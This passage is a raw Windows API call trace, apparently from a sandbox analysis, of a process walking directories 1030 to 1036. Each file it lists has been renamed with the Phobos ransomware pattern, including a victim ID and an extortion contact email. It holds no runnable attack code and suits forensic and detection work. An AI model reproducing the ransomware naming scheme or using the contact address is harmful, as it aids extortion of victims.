[0132.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7393e8 [0132.053] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.053] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecfe4caa, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecfe4caa, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xdf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.053] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed031088, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x130c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.053] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.053] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.053] FindClose (in: hFindFile=0x7393e8 | out: hFindFile=0x7393e8) returned 1 [0132.054] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0132.054] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1031", cAlternateFileName="")) returned 1 [0132.054] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7392e8 [0132.055] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.055] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed031088, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed031088, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0572ae, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xe52, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.055] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed031088, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed031088, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed220f6c, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.055] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.055] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.055] FindClose (in: hFindFile=0x7392e8 | out: hFindFile=0x7392e8) returned 1 [0132.056] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0132.056] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1032", cAlternateFileName="")) returned 1 [0132.056] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7393e8 [0132.057] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.057] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda06bab, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda06bab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda2ce12, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x23a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.057] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed220f6c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed220f6c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x15212, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.057] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed26d398, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.057] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed26d398, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.057] FindClose (in: hFindFile=0x7393e8 | out: hFindFile=0x7393e8) returned 1 [0132.058] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0132.058] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1033", cAlternateFileName="")) returned 1 [0132.058] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.059] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.059] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed436fd3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed436fd3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed45d258, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xd72, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.059] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed45d258, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed45d258, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed48359d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x12ec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.059] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0572ae, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.059] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0572ae, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.059] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.060] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0132.060] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1035", cAlternateFileName="")) returned 1 [0132.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7392e8 [0132.061] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.061] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8d595c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8d595c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8fbb88, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.061] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8fbb88, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8fbb88, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed921dde, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x12de2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.061] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0572ae, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed0572ae, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0efd36, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.061] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0572ae, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed0572ae, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0efd36, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.061] FindClose (in: hFindFile=0x7392e8 | out: hFindFile=0x7392e8) returned 1 [0132.062] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0132.062] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1036", cAlternateFileName="")) returned 1 [0132.062] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7395a8 [0132.063] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.063] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed921dde, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed921dde, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed921dde, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.063] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed947fc1, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed947fc1, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed96e30a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x14522, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.063] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0efd36, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed0efd36, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed1facbc, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.063] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0efd36, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed0efd36, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed1facbc, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.063] FindClose (in: hFindFile=0x7395a8 | out: hFindFile=0x7395a8) returned 1 [0132.064] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0132.064] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, 